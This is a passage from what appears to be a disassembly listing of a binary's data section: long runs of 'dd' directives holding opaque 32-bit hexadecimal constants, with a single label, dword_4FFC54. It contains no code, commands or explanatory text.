		dd 291E6BB9h, 0EF7E9A63h, 0E329737Fh, 131B5FE9h, 0D1A95E51h
		dd 5FC2622Fh, 8C442B59h, 955F1BF0h, 168152C2h, 0E4F375E2h
		dd 1606E505h, 0D8F75908h, 0F9794B5Ah, 0CB899EF7h, 9F27218h
		dd 7D19212Ah, 738825Dh,	94DF0B50h, 3D2D3029h, 59EC2810h
		dd 1246B33Dh, 4AF49922h, 0D3B867C8h, 2FF4D2F2h,	3BFC5044h
		dd 0FFBC804Fh, 0ADD1EEE5h, 0D2A70258h, 1C7EBDE2h, 101DD672h
		dd 10BC908Ch, 0A44BC3D3h, 2141A36Eh, 8242FA88h,	4013BD00h
		dd 2DC170E8h, 0C40106EDh, 0BD7FC316h, 12510F0Ch, 5DEA43CEh
		dd 0C0039AC1h, 2A544607h, 0B7B27B61h, 4D6169FAh, 0D7446834h
		dd 6EF88661h, 6431396Dh, 2EA4406Fh, 0B560EF25h,	83FEBEE9h
		dd 634E07F9h, 566584Ch,	76D94038h, 5A8D44BBh, 53708158h
		dd 7068CD36h, 5B4A486Fh, 95A93C40h, 5C898613h, 0DF3F81D3h
		dd 0BBD2AD52h, 0E909DDCEh, 1F291EA9h, 0F50B5FFCh, 0A5BB568Ah
		dd 252B140h, 1120466Ch,	0EEB627E9h, 40538319h, 0B223FF91h
		dd 44E94E09h, 128CEB1Dh, 0FDF4B967h, 0B15B2E23h, 25ACD508h
		dd 842464F6h, 61594910h, 7B37F898h, 5E41E02Dh, 18123057h
		dd 4545A779h, 257E130h,	0E91C150Eh, 0C548ED55h,	0CCFD02E6h
		dd 0AD261AEEh, 79077722h, 56D9271Dh, 94728F6h, 8346851h
		dd 3F72A526h, 53504B12h, 0A9527404h, 7F0551F2h,	0B1015A02h
		dd 0BE0804ABh, 0C53E378Bh, 580CA3CEh, 0E0283122h, 0FFDD805Ah
		dd 0E5B2886Eh, 0DBB7E1FAh, 66C90AADh, 9A2F0AF5h, 9D046FB5h
		dd 0CA31AE4Ch, 6063D514h, 0FA545317h, 0B34EEE3Bh, 3AC1682h
		dd 517C31D0h, 53569754h, 724BDE25h, 2EFA447Dh, 42DE22ABh
		dd 0B47D20A5h, 49E9172Ch, 3AA579AFh, 4D3F26B0h,	0DD503742h
		dd 70E2974Ah, 0F7820A79h, 0CCEE68D6h, 50BF0003h, 0E982F099h
		dd 94ACC6DAh, 443A120h,	6B4A972Dh, 0A184FB63h, 2DEA0716h
		dd 6DBC3A3Bh, 0D37E65A2h, 9205AD01h, 17E6D25h, 6F49A851h
		dd 5FC76A74h, 5A133EE7h, 2DC22825h, 3703A107h, 0EC4ACC6Ah
		dd 0B4F42141h, 9E92B756h, 1135F60h, 562FD6B5h, 93C2219Eh
		dd 305A0536h, 685FFAD7h, 8B25182Bh, 0B3643E0Bh,	0F5E3C9CFh
		dd 48E66780h, 465A285Dh, 4528F6EEh, 29FF211h, 48436B72h
		dd 96CC217h, 89E2F809h,	0ED72C857h, 0C8E1A822h,	302E0905h
		dd 0F40F50A9h, 2185C7CDh, 0D1792090h, 5CAE4F17h, 991941FFh
		dd 30567924h, 0E573986Fh, 36E9050Ah, 524356AAh,	50FDDA54h
		dd 64BCBD30h, 0D440E798h, 8B31BB5Bh, 87D4F26Dh,	120AD582h
		dd 33715F47h, 586742Fh,	60B255h, 0A0052A8Ah, 0D22FE96Dh
		dd 28264C5h, 425565EBh,	9DDDEF7h, 1796F4F8h, 84D3C503h
		dd 46B2BBEEh, 59812D8Ch, 26685709h, 2E072505h, 3431EDB1h
		dd 0CC03D8DCh, 5FAADE0Fh, 6A09ABF2h, 5D5EF331h,	41E936E8h
		dd 0C6BCC454h, 8A41BAB8h, 2B021A42h, 0DE24BAD5h, 5B34A939h
		dd 54B8BE4Ah, 85F6AFB5h, 0A25D882Fh, 54AA1C9Bh,	8FC65066h
		dd 0F3BB0AC0h, 0B268132Bh, 90CAE60Ch, 590B8129h, 49B8133Fh
		dd 0B4D65206h, 0CB40FB20h, 7A862F68h, 352F5646h, 10151AB5h
		dd 4B7868E4h, 6AF367Ah,	78FCE924h, 0DF295D89h, 5C18B597h
		dd 0B7556843h, 8D60A1DCh, 371A244h, 3A5E381h, 0F3B179A3h
		dd 1D80D8BEh, 19EE925h,	5F5A578Dh, 9FE65BE0h, 0B98481F9h
		dd 0FC87740Eh, 33E9CF80h, 17029A2Ah, 0C0505FF8h, 2238286Ch
		dd 99F1848h, 0DD960CE9h, 14443E94h, 47F041FDh, 0FFE475AEh
		dd 60BFBC53h, 10F22D3h,	81B36E97h, 18BC41A7h, 2F74689Fh
		dd 0E7151853h, 0F0CB17E7h, 0C13DB4E7h, 0A428B95Fh, 530798EFh
		dd 0E24D7BB7h, 0D3543E4Fh, 0B5515240h, 0F1969585h, 76E03AF3h
		dd 0AC07459h, 3A486808h, 44B7895Ch, 800E93F4h, 0CFFEA1C7h
		dd 3131B151h, 41722BF5h, 0C2E07905h, 3404FE88h,	62EAD021h
		dd 0C94AB119h, 68B98155h, 7B317B38h, 0D131F789h, 1293A82h
		dd 2362BCFEh, 26E4442Eh, 17154E46h, 5560B04h, 0B5826D80h
		dd 0E9093F12h, 71011076h, 77356051h, 7175B24Eh,	8821BE0Bh
		dd 0F51F11Eh, 3B3147Bh,	4E28EB62h, 0C7B408Bh, 3F943014h
		dd 7FCE01B3h, 0D3295489h, 9081CA0h, 10CA4E9h, 0DACE9855h
		dd 8BAADF35h, 0EA768BEAh, 55BFAE89h, 0BD552DB8h, 5C16B009h
		dd 650F044Bh, 489DB800h, 93B03808h, 4A5D5205h, 0EC870930h
		dd 0B0AD0F84h, 0BD96602Ah, 4BDB63A1h, 41E8F672h, 3C19C135h
		dd 9E42008h, 0BF3A7FF0h, 0E9FCC30Ch, 70CD3B35h,	88685E21h
		dd 0F389C47Eh, 35EC9214h, 0B7F61B2h, 0E214D6E3h, 8F09EF5Bh
		dd 9321470Ch, 42F969DFh, 0F8C28582h, 0F581EC40h, 5C8D11E1h
		dd 3C05A453h, 0BA35C41Bh, 0E9CA22D0h, 0B53370B2h, 0C5C2E5Ch
		dd 4284E958h, 2D3CBA5Eh, 810D0762h, 0E4017DCAh,	0C1214A57h
		dd 0ED9C49EAh, 2FB9217Fh, 8D9334F9h, 32113F14h,	1DB215B5h
		dd 7C012D95h, 0AB444262h, 88D386A4h, 54C3672h, 0B06584E4h
		dd 83583504h, 0E7D1A568h, 2B6360Eh, 5E7B1CF6h, 0D4F9F74Eh
		dd 4B4CE905h, 605FBED0h, 56B002Bh, 37D920B8h, 0E916575Dh
		dd 2CF49C15h, 0F5451DFDh, 4AF18177h, 0EC90675Bh, 52D6261Eh
		dd 50E072ADh, 424A1368h, 8D5E7DE3h, 3F0BE5C1h, 1B95C3A3h
		dd 866C8A1Dh, 87C8802h,	519DA1BDh, 123AD6E9h, 0FE9CEAE9h
		dd 9C2AFE56h, 0E7BB05C2h, 2680FB2Bh, 0FE6722C5h, 0B13EFB52h
		dd 0EF08041Fh, 68291E2Ch, 2F2024FDh, 74BCCF6Ch,	0BFDB7F7Ah
		dd 85824D0Ah, 28B85FBBh, 33CD9570h, 7D6C380Ch, 4D0FEEE8h
		dd 0FC4FDAFEh, 0B9278497h, 5B0030B2h, 9873D105h, 0E828012Fh
		dd 46F8072Dh, 1816A7EEh, 0CBAE2C8Bh, 7A7404F9h,	0B0C078B0h
		dd 16A70B90h, 0BEF0317Ch, 56014A8Ah, 97734A68h,	0F6208145h
		dd 7B726502h, 37110C82h, 1D53383h, 0EB66E934h, 53C2302Bh
		dd 74034547h, 0AB76BE05h, 2915880Dh, 68060AECh,	8F35272Ah
		dd 0EAC491BAh, 69C0BF64h, 5AE9FA87h, 5C01E0F4h,	0ACDF3B5h
		dd 961E0F30h, 0DE5BBC50h, 0C09C893h, 0F0069005h, 3C3A2E67h
		dd 80642CCCh, 5821D3B9h, 0E104817Ch, 141E74F7h,	5E8327ACh
		dd 2B4B749h, 0E05964FDh, 0A005C128h, 5B018EECh,	0BE6435CDh
		dd 5CED5160h, 42070E08h, 0E85398E9h, 125294AFh,	49F4DD3Dh
		dd 30A5B606h, 56F754DEh, 8F53404Ch, 0B7C7DFAh, 0D744930Dh
		dd 0EE0D3616h, 0A89E1F64h, 0B4C2C06Ah, 8231E97Dh, 0E58822A0h
		dd 400A4720h, 0C31580E8h, 3F5D668Ah, 81D59002h,	30FF5C2Dh
		dd 9689D67Bh, 0BDB96486h, 54EE0527h, 92BF253Ch,	8B769BFFh
		dd 7471F825h, 60F34C5Bh, 5485A84h, 6944768h, 0F2848B17h
		dd 92C0B3FBh, 392FC1AFh, 5058801Bh, 0F103FFB8h,	61DBF64Fh
		dd 485E1608h, 0E132DD0Dh, 1FAD685Ch, 44AF3DD2h,	0C5024931h
		dd 0F506A44Ch, 0DA35FB3h, 3370FD09h, 3683574Bh,	0FBAADF29h
		dd 2CC1A05Eh, 4F37010Ah, 48F78101h, 60AA9442h, 929EE3D6h
		dd 0F91DA180h, 0BDCD890Ch, 0E98D2359h, 1D702775h, 6D570FEAh
		dd 6FA75A33h, 0E5FD091Ah, 858E2EDFh, 0AE0127DDh, 0E95B9BB6h
		dd 0D2FFD3F9h, 0FAD09C69h, 0B7B58BA0h, 853FB42Dh, 8A5EC010h
		dd 493604ADh, 0C5D64782h
		dd 72923D7Bh, 0EE75C802h, 0CE25D9E8h, 0BD3C5895h, 0A0082E79h
		dd 0E77C253Fh, 74329800h, 48295A1Fh, 0F6078AD8h, 0EE7E6862h
		dd 70A055A0h, 0A16086E9h, 54E2B934h, 0B974488Ah, 5D7FF01Dh
		dd 12C78126h, 7B461E77h, 8EF890Ah, 3FDCE905h, 271764F6h
		dd 0EF307458h, 5BA08001h, 0D8F20FFCh, 9C262095h, 75E0B95h
		dd 9E92D4B8h, 13E077FBh, 0A624E955h, 0EB4016F9h, 4EEE4B5Ah
		dd 621BF148h, 9AA5A05h,	5FAE2EBCh, 473896E5h, 27D089B8h
		dd 0D42BA503h, 0E5F5C205h, 0EAAB68F7h, 834838A9h, 16575F27h
		dd 0BD749724h, 12E5379h, 5AD121B5h, 0E060CEF7h,	662C6F39h
		dd 8D03F503h, 0E47BB016h, 0C92000B1h, 66524079h, 8B536197h
		dd 7DF58C3Fh, 5FA73856h, 5BC01D2Ch, 0D27DE9CEh,	0B5FDDEF5h
		dd 0FF9D122Ah, 1C22D901h, 95306268h, 97E313E2h,	871A09Dh
		dd 1559008h, 0E911B0CFh, 0DFA9DE4Bh, 6EE6DCD9h,	98B8F3B5h
		dd 0C085A57h, 0E954AE09h, 1F8A781Dh, 8202E6C0h,	0D9F69FB1h
		dd 500331ECh, 0E0C0A7B0h, 3060B08h, 0DDF40F34h,	0AFEC3A16h
		dd 0B45FB25Eh, 0B70FC160h, 0B16812C8h, 58578C7Fh, 0B1200DE9h
		dd 13287330h, 0EF416866h, 5819595h, 0E2499AC4h,	0D657A3DCh
		dd 0D104BB0Eh, 1D80E3C1h, 970110F4h, 0D6426211h, 0C0EC028h
		dd 28112B4Ch, 561207C6h, 0ACF7104h, 8EA6801h, 8505602Eh
		dd 5D4E1667h, 7F5FBF62h, 6812C6E6h, 1D8909A5h, 0D3353D28h
		dd 0AAB2BE12h, 0FC2A3084h, 0A3EAB58Bh, 0B0EC5BFFh, 140B0A25h
		dd 0EBA183FDh, 0AE75BD12h, 0A83749EBh, 0B989B1E2h, 0C866501h
		dd 911C695Dh, 41483898h, 2237C40h, 81E095B7h, 1D061817h
		dd 3720E93Eh, 0FFEA354Dh, 9058303h, 93E78D3Bh, 59202591h
		dd 1A81BD55h, 56048423h, 0EE2629E4h, 0D287589h,	0BC963401h
		dd 7F17E935h, 3F85EB3Ch, 0FC628D15h, 0B0A93528h, 0F37EFCADh
		dd 4460F99Dh, 0BE58E060h, 0E6687809h, 2484F626h, 21120396h
		dd 0DFE751B1h, 0C126ECF2h, 11A9590Eh, 0D97B8CF5h, 0F1730535h
		dd 8296008h, 0CBA2E91Bh, 5FE8CA71h, 0F9A19664h,	68550069h
		dd 902F1E4Eh, 0FC6ECB16h, 50EACE5Eh, 99BE3D34h,	75ADF12Ch
		dd 5AA92AADh, 5217E9D4h, 2383207Eh, 0E19FDA5Ah,	0A65004C8h
		dd 4DB7E9Dh, 0CDE9EB01h, 9903E243h, 37780E67h, 91685E05h
		dd 0E48AEE2Fh, 342F6948h, 81306884h, 2F9815EEh,	2C975F2h
		dd 0DBD8307Fh, 1458A0E4h, 679A97B2h, 9BB5167Dh,	301830B6h
		dd 535BF078h, 84159A9h,	0C0ED9ED4h, 76B1BF90h, 78984811h
		dd 0EA72B20Eh, 1E7CE63h, 0E956273Dh, 5FC27FEDh,	7549AC73h
		dd 0FBF0D432h, 6BC9F695h, 4A051677h, 517C3E0h, 60E417F1h
		dd 394B69BAh, 80863EA9h, 0EA05D1F2h, 0CD60D975h, 0D28EE2ABh
		dd 785C64D2h, 235F544Bh, 7FD1410Dh, 9CD1FB0h, 5B49D005h
		dd 8832C858h, 5D7D9545h, 0AA0975C4h, 0D46B2319h, 725C8C9Eh
		dd 2509C58Bh, 0FF649473h, 24083D28h, 53D60970h,	2302C2F1h
		dd 4465D976h, 75E30BFh,	4867689Eh, 126677CDh, 1837B8C0h
		dd 544A2A2Ch, 60314D5Eh, 5E96445h, 0E37EAF75h, 0EC688553h
		dd 0A84BE8ADh, 0B9E9E0F1h, 0EE0180DEh, 4074C8FBh, 7D4AB12Dh
		dd 2EEBC9A2h, 6C63ABDCh, 0EDCB0311h, 1FD95D1Ch,	8C2C2FD9h
		dd 5D5B7F75h, 18094B7h,	0F3C83EBAh, 34A13FD9h, 0FCFDD6E9h
		dd 41DE37Ch, 21A1C9F2h,	0D89D8E7Ah, 3B0CB02Dh, 0F7A7C4C7h
		dd 0F54481F6h, 7056C2h,	5866C530h, 89AC2BF1h, 87E951B0h
		dd 86354F4Fh, 0DA9AE5BFh, 7D1B19E7h, 9168E6Eh, 5B5F0B16h
		dd 5DE95A30h, 7E49414Fh, 8CB946FAh, 0EB525EADh,	5EE98B2Ch
		dd 29FA0B46h, 5CE8117Fh, 10CECF6Ah, 6802E63Fh, 555F31E4h
		dd 0BBEDF0E0h, 5150CF12h, 143649EBh, 0FB9DA050h, 5251C063h
		dd 0EF661BAh, 0C7B84C7Ah, 1682799Dh, 85240049h,	1A7F67Fh
		dd 2610F148h, 49A9817h,	0A97957CFh, 0E618A5B8h,	21CE0129h
		dd 76E96423h, 1E830513h, 0D68DC56Fh, 41912020h,	323C200Dh
		dd 12961D70h, 0B082DE0h, 29630385h, 1B0CE9F0h, 0DBCD74Ch
		dd 33705723h, 9CE596F8h, 597691AEh, 0DB9D79F6h,	66574B4Eh
		dd 5A32B0F7h, 4AAB54EFh, 2F93B110h, 3916D75Ch, 0D3010941h
		dd 656E0532h, 0BCC6ABAEh, 291549DEh, 0E9C07C5Fh, 5AD22D38h
		dd 0E9BF78BFh, 0AFB6234h, 0C78CA3FBh, 0DB0AE706h, 0FD18E36Ah
		dd 0EE76B786h, 8A815311h, 0CB43B2D3h, 5F88A5CCh, 0E1E3E605h
		dd 0B753F930h, 63B1382Eh, 0AE70F92Dh, 0C1800316h, 0B400A3E8h
		dd 10B353F6h, 71BA44E9h, 0E1847B5h, 0BE174C9Eh,	94CA0BC8h
		dd 81B90100h, 0E86A7C2Fh, 1691E618h, 4808ADA4h,	0BBA1C5Fh
		dd 7C80B931h, 0E36A89F2h, 0C2015BB0h, 49D94BE2h, 1C80D2F7h
		dd 614AFDEFh, 38B8D529h, 0DCA2F058h, 6FE814D3h,	5CBA16A4h
		dd 2F40A5F5h, 22C2B64h,	7F014171h, 5923615Ah, 75433820h
		dd 90357714h, 0EBC104B6h, 1701CAA6h, 0EBCC74EFh, 0E982F0A3h
		dd 0B3ADF255h, 5EF07E38h, 7DEE2564h, 270844A8h,	0E915C2E6h
		dd 94A3FA36h, 5B79846Eh, 0A262EF12h, 0D7A7A9BDh, 0D9E249Eh
		dd 0F3734069h, 0F1778299h, 66035240h, 3563E32Fh, 4B90888Dh
		dd 5F778F76h, 6384EBB2h, 8C6802E5h, 5BC1D632h, 6C33AA04h
		dd 4AD4873h, 68FA26h, 19DD323Eh, 0D707CE81h, 4E79EA5Fh
		dd 605F670h, 3C84F338h,	81B60B41h, 62E7BA70h, 1859259Fh
		dd 12110265h, 0BA451A10h, 9827AD02h, 7962F705h,	7EBB77C0h
		dd 234BC72Dh, 0A35EF58Bh, 0ED0C01D4h, 7477DDCFh, 9D832F01h
		dd 0B3AB8C69h, 0AF5B3D79h, 966283E4h, 35A035Eh,	4B31C235h
		dd 0D907F1FCh, 0D5DE81DDh, 1D44685Ah, 0B6C8858h, 4730692Eh
		dd 68E845Fh, 41B232DCh,	0C21E881Bh, 27541682h, 497BA59Fh
		dd 320366B0h, 0FAADD82Ah, 89C5CA91h, 408D6Fh, 0F935373Ah
		dd 50E47C4Eh, 53921EEBh, 3C70F255h, 819F5D7Ah, 18A228Eh
		dd 1EE70C82h, 17F730Ch,	1CAACBC9h, 0B428846h, 6E17BFEAh
		dd 3F3DBDDCh, 5CC6576Bh, 394D8269h, 950FDD35h, 0B911B41Ch
		dd 0DC0B93F6h, 8144FEF0h, 330EB6C6h, 0C50C9D29h, 0FD015409h
		dd 908C028h, 68C3ACE9h,	6121FE13h, 20409A3Dh, 0BFC20123h
		dd 0A28D55E0h, 29F25816h, 0E9828CA9h, 867CDB40h, 0E0A804C9h
		dd 17A52D00h, 0F495CBCAh, 0BC853E4Ah, 11E7A3Fh,	57059A8Fh
		dd 679D472Bh, 0BED26F25h, 2A082F16h, 0B5B301A5h, 0E908EBC0h
		dd 346CCDh, 1913C62Dh, 1F920524h, 0C93ACC12h, 0A49AB558h
		dd 6ED28E5Fh, 8CFA169Ch, 0B90551D5h, 4D175C79h,	76C7AE01h
		dd 1B7165BFh, 207DD288h, 976CD027h, 34C06BD0h, 78D239CFh
		dd 0AFF10F81h, 29E46335h, 1045FDC8h, 33505DA8h,	28909E09h
		dd 49F85AFCh, 0E161D07Ah, 2BAC6F5Eh, 8D163CC8h,	0B3AE7784h
		dd 0F0159CEAh, 16EA96BEh, 0BABAD34h, 0D99CE9E1h, 3A52A612h
		dd 435F6889h, 3782F559h, 5D62DEE9h, 59B03EA1h, 0EAC1D466h
		dd 0DA2C9BB8h, 0E2822C4Ah, 0DF3F0F9Ch, 237E4B40h, 62147A2Dh
		dd 0A81360D4h, 0D63E000Dh, 0E95A5B52h, 929DF264h, 63958963h
		dd 0C6C29AF5h, 0FB142D6Fh, 75B742F4h, 5C8478A2h, 95BCB7F9h
		dd 5ACAFB6Dh, 3ECAA14Eh, 352E9239h, 0D1C781C6h,	109929C3h
		dd 0B85F97F6h, 5CFCCB23h, 28FC27ECh, 3F9BBAC0h,	0E94313AEh
		dd 0B84B8552h, 0E5810148h, 2C3C4497h, 76AC9F9h,	0D04F47A2h
		dd 6B7140E7h, 0C70E2760h, 9F1035B6h, 3B5F03C1h,	0BC0493E2h
		dd 0D5F75132h, 0EFD40198h
		dd 9D3CC346h, 190B280Ch, 8362D513h, 0C4E90807h,	0D3CAA909h
		dd 0EF6CD4AFh, 0C19206CAh, 59BB5B3h, 444BC30Fh,	4CC0424Ch
		dd 5A481405h, 125ABC40h, 0B1E324F7h, 0D1F5929Fh, 3C35A8EAh
		dd 74A1C07Ch, 2C173FFh,	0E95207E8h, 1C9F532h, 9EA97B21h
		dd 0F4C0257Ch, 2AA89F69h, 35D5AD1Eh, 919060C7h,	9D60274Fh
		dd 820E554h, 0EC032BBEh, 270824Bh, 2E18D9F0h, 0EE7F89DEh
		dd 918026BFh, 67514064h, 2AED339Eh, 0E5DDCCF2h,	0F180F160h
		dd 0CE88E21Eh, 0E801D58Dh, 59BCEC6Fh, 0BAF04B93h, 0CB835A93h
		dd 0C42F7D58h, 57CF983Dh, 0D0C0821Dh, 0EF25EDD8h, 6CEC3F9h
		dd 5517A3D6h, 1AF40F73h, 0E9533709h, 9DA550F4h,	0E57A345Ch
		dd 86E904B5h, 3FDCFF2Dh, 0A3174A68h, 0F02C7810h, 4EC0AD1Fh
		dd 0C1753552h, 391ED052h, 7F92E04h, 7C39C05Eh, 0E9160DB6h
		dd 6AE262A0h, 1169284h,	5F8E6859h, 0D312F27Ah, 0EE0756EEh
		dd 5E4CA941h, 53710C6Fh, 0DFBB1312h, 52023178h,	4DB5CBB2h
		dd 80BD4028h, 0ECD45BC5h, 4DD334EFh, 0D55577EFh, 224EEBFAh
		dd 6C7022EEh, 0EA5B604Fh, 4A3A0B3Bh, 35696BE9h,	7ECCDDF7h
		dd 0E3A47C17h, 7205955Bh, 0C2A2BB50h, 8B87D792h, 0E9621D59h
		dd 4F550DDh, 66C6885Ah,	7CBFC358h, 775829EBh, 11197D23h
		dd 0D65A2A1Fh, 6108AAA0h, 15E9875Ah, 7BE54AADh,	0C5C9B027h
		dd 7F470818h, 4292DC2Dh, 4675DE91h, 276D4944h, 0A1F6F84Fh
		dd 8100F46Ch, 561E9FEFh, 0C8D211F0h, 0B3686480h, 6935254Ch
		dd 44E0CE40h, 83465026h, 5B07E902h, 0DC696008h,	51C03158h
		dd 0D5957624h, 5FF83FC8h, 7880F303h, 0C02185Ch,	25351188h
		dd 4F0C329h, 55583430h,	122CEE75h, 0A63217CFh, 9AFBC72h
		dd 0FE6577D3h, 0ED830574h, 9EA7BC01h, 11451A7Bh, 0A4177B0Ch
		dd 32710844h, 81AD5D17h, 725A0B73h, 73205F0Fh, 4DB279C2h
		dd 0C6B08E4Ah, 3A692C68h, 27F69A4h, 0A25E84E8h,	0F25A1C8Dh
		dd 32829DC1h, 98655B58h, 0F61C9AB1h, 8B826C57h,	935D192h
		dd 0A6792D32h, 0F41B402Dh, 0C323C0F0h, 1B7431D3h, 53048B98h
		dd 5819AD7Eh, 84DACBABh, 0AE12FD4Ch, 2D0A6DD0h,	0B049B8BEh
		dd 0E35095Ah, 0A5801755h, 0DF6DDCC6h, 903E2658h, 719E5F08h
		dd 0EFA8444Fh, 83050F08h, 0D1FC9E6Bh, 402A384Ah, 655EC5DEh
		dd 0F8C31674h, 0B0D3716Bh, 0E6602505h, 288B06Dh, 412ABD55h
		dd 0F4006BAh, 0BF05210Fh, 0EF39E96Bh, 0E638A4AEh, 2E41C155h
		dd 0C6CBF0h, 0BD1EAF03h, 0E150FC3Ch, 0C59DBDB2h, 498B8E86h
		dd 0A2F429CBh, 0C454054Bh, 58C157EDh, 2A147F68h, 614EA9A6h
		dd 0A7348C23h, 6BDEDCE5h, 0EB20C465h, 0AC93944h, 3C4766A9h
		dd 570809CDh, 0BEE20B04h, 5CC9DDF2h, 0E96F105Dh, 0EC285B0Eh
		dd 0DC9AC434h, 68110213h, 57A6658Dh, 0B0BC057h,	0B5F6697h
		dd 80DA6064h, 20B81EC6h, 843192F0h, 0BEA7EB8Fh,	94B1E9C4h
		dd 0C7B7924Ch, 0CB4B5E5Ah, 4479AD98h, 0D302F730h, 5D03A11Ch
		dd 2C2CDB29h, 921216E3h, 0DDF8D497h, 0A5306DB7h, 46C8ADF7h
		dd 0E941787Bh, 3980DF4Ah, 1839E068h, 2E5F7247h,	76092871h
		dd 84D7F731h, 0BE076B8Fh, 2227C225h, 99A82FFh, 0E71860EFh
		dd 0BDE91B03h, 0E010EDC5h, 5A1280CFh, 18C2004Ah, 4248AD0Dh
		dd 76D00EC1h, 17A8EC9h,	3DFE2D3Bh, 370530EDh, 0A98A4397h
		dd 9F69DBBFh, 0CE20B0D0h, 0ADC55E97h, 5DE9A9E3h, 1DA32EECh
		dd 0CDD03715h, 0F4B90185h, 47125EADh, 7D2D6192h, 692CDACDh
		dd 0F0E95B1Ch, 65FFBBFBh, 3E62ED30h, 5C2E131Dh,	164BF508h
		dd 625EBB8Ch, 210DD300h, 9B23680Fh, 29826D6h, 2B186D8Ah
		dd 0E9E4C07Dh, 0E15C7053h, 0A6E9A96Bh, 53E21495h, 0A1C58368h
		dd 0AA24BEB8h, 32718BBBh, 0FFFF2653h, 0A37E6218h, 90B0EEB5h
		dd 6EC902A0h, 0A3E92E89h, 0FD39ABF4h, 982C6378h, 0FEAFFFBCh
		dd 35B90390h, 8AF2682Fh, 51765878h, 0CDC0734Bh,	125930BDh
		dd 1631441Fh, 82EFA80Eh, 54DB54E9h, 9300EB59h, 3D9F6D29h
		dd 0E1CB8107h, 821B426Bh, 5D010615h, 0AD3EEEC5h, 0C25D208Dh
		dd 7BF60653h, 0BD63757Dh, 805FDD2Fh, 2E40EDC6h,	0BEFE5056h
		dd 0BB52753h, 0D6124E68h, 0A0775AFAh, 0FE490103h, 9F54E855h
		dd 0C811746h, 6030615Ah, 96B7C238h, 4B02FA20h, 1C5B92D8h
		dd 3A0C544h, 710061C4h,	1BD82D7Ch, 120D7916h, 4AB0EB7h
		dd 0E57190Ah, 0A65CC449h, 78457A2h, 12AB36Eh, 522D2992h
		dd 9930B935h, 0FEE78h, 52A6A4Fh, 17DE1AACh, 51F8013Eh
		dd 81F92307h, 78DC25D1h, 0F2076B39h, 3FA75361h,	5E2C03Dh
		dd 5677D665h, 6BAEBE0Fh, 0D6F1935Ch, 1C1F93CCh,	5DB9514Fh
		dd 0AE12922Ch, 0D9749F81h, 5FE7679Eh, 0FE0197EAh, 0AE5EC6CEh
		dd 4FE7D520h, 0F7741273h, 0D9310FD0h, 59E22016h, 341EB439h
		dd 5039C201h, 0F6A05808h, 2BC0DFF7h, 8BB161EBh,	0DA013E90h
		dd 0E9A857AAh, 78CB6280h, 59BF67A0h, 4CBEA43Bh,	5BF61C35h
		dd 1BE94345h, 61509DD2h, 0F3E4CBDAh, 9BEF8811h,	28F1226h
		dd 3AC45008h, 90D96692h, 0DA6057AEh, 965E267Bh,	0E705DDC0h
		dd 152E49ACh, 9A1AF603h, 0AAB62906h, 0C2E90880h, 0AD50BB67h
		dd 3BBCB965h, 0F271AC5Fh, 0F9226268h, 0A3BA82F4h, 66C0A574h
		dd 27C58BB8h, 0F6372DB9h, 25B3AFD3h, 0DC185C10h, 874C2C88h
		dd 0CB0134C3h, 0EEA519FCh, 806FFB8Dh, 0F2319F59h, 5B835B44h
		dd 14F8E8C2h, 97FDF02Fh, 8D5A6C8Ah, 0E9B06F36h,	8829BD8Ch
		dd 0A3C0C00Bh, 89B1315Ah, 0B447E905h, 562427E3h, 0ADD1AD27h
		dd 2B882D00h, 1629361Bh, 0BD5668D0h, 5ED281F4h,	0E64227D8h
		dd 52935D1Fh, 0FF789FC2h, 0D5B3042Fh, 6C8C0A15h, 905110A4h
		dd 49CE0B89h, 0B4800144h, 76FE2186h, 12C406D0h,	14120EDh
		dd 368D3BF5h, 2A82C8DDh, 150E6AEAh, 56822940h, 65234A2Ch
		dd 5E01220Bh, 132F58BAh, 0A41F6897h, 0F30580EDh, 68663412h
		dd 2D1949ADh, 0ECE6F7B1h, 199D3206h, 0A3508EFDh, 704CED80h
		dd 0A29A955Ah, 0C2C4D35Dh, 6B5491E9h, 20AA5E12h, 85053F58h
		dd 64F1447Fh, 7A172C05h, 8DB8DD04h, 5EE3ED74h, 0E037BF14h
		dd 643B7FEBh, 4BB31E0Fh, 5B00DE28h, 8090B252h, 0ADA75FC2h
		dd 0CAFE03B4h, 0CFD18851h, 3C02922Eh, 0E1A2F280h, 4603D969h
		dd 4B2F808Dh, 564A5504h, 0F6EC03FEh, 7C83B40h, 255F51E9h
		dd 652E3B2Dh, 0CEF4BF60h, 831C7011h, 0BA51017h,	95AB6F12h
		dd 0D5FC1329h, 0E9AC6055h, 22D7504Ch, 263F04EEh, 2039EF39h
		dd 6808306Ah, 309D0185h, 16AF79A8h, 0C47DE939h,	93F3EA0Eh
		dd 16B4CE97h, 5A8E06F8h, 0D768F84Bh, 0FF17CAADh, 6F62AFD6h
		dd 9A3F4245h, 41DC12A7h, 392B4D7Dh, 3D992B60h, 512858F1h
		dd 59B2D798h, 2A621030h, 20397CB1h, 48C1313Ch, 6FEF2F2Eh
		dd 68C05962h, 2FED3E8Ah, 0CACE83B7h, 6154A2B6h,	0E448877Ch
		dd 16151E4Dh, 90CEFF35h, 2FBEAB3h, 5B1EB016h, 0CA0412AAh
		dd 0EB5724AEh, 0BC065002h, 5E1C4011h, 3910280Eh, 644502F3h
		dd 84E94627h, 0F95583EAh, 573C71CBh, 0D68069A2h, 67F139CFh
		dd 69442290h, 3BDFB0C1h, 0E10225F9h, 28D62F3Fh,	0D1931D43h
		dd 97DB2003h, 0BAE9DD9Bh, 0FE5AAAFBh, 5317A517h, 0C8D691F2h
		dd 0FD5E641Ah, 0C2A049A8h, 380A0C3Eh, 93F20110h, 5E5B0820h
		dd 0C5CC2DEFh, 0F992248Ah, 9E6082EEh, 2D05C74Bh, 0C61058D6h
		dd 14A833Ch, 45A0E7E3h,	6BCAFC87h, 0E9173507h, 37FED72Bh
		dd 58B368EBh, 0D968590Eh
dword_4FFC54	dd 9DEE135Bh, 0C8B300ACh, 62187647h, 0DB42C101h, 37EC3935h
		dd 9A721386h, 585C1A55h, 6C9B17B0h, 5184C4DCh, 324B9A21h
		dd 0D1103D58h, 0E85327F3h, 8273576Eh, 0E5901ADAh, 42439201h
		dd 8E7C148h, 15C926Fh, 0FC20538Fh, 89BDBC6Dh, 0D0B4FB6Bh
		dd 0ABBB005Fh, 0B8637B3Fh, 0A6277D65h, 53500Eh,	1B1F330Dh
		dd 294E351Dh, 485EBA12h, 127F2DB8h, 0FEE0C9E9h,	6D82CC27h
		dd 819C5D0Bh, 6F4FC0FCh, 40D8FA8Ch, 380BBE9Fh, 0F454473Ch
		dd 5F5E8D71h, 590C03AEh, 0FDFBEFEBh, 0AC917273h, 8E4A6302h
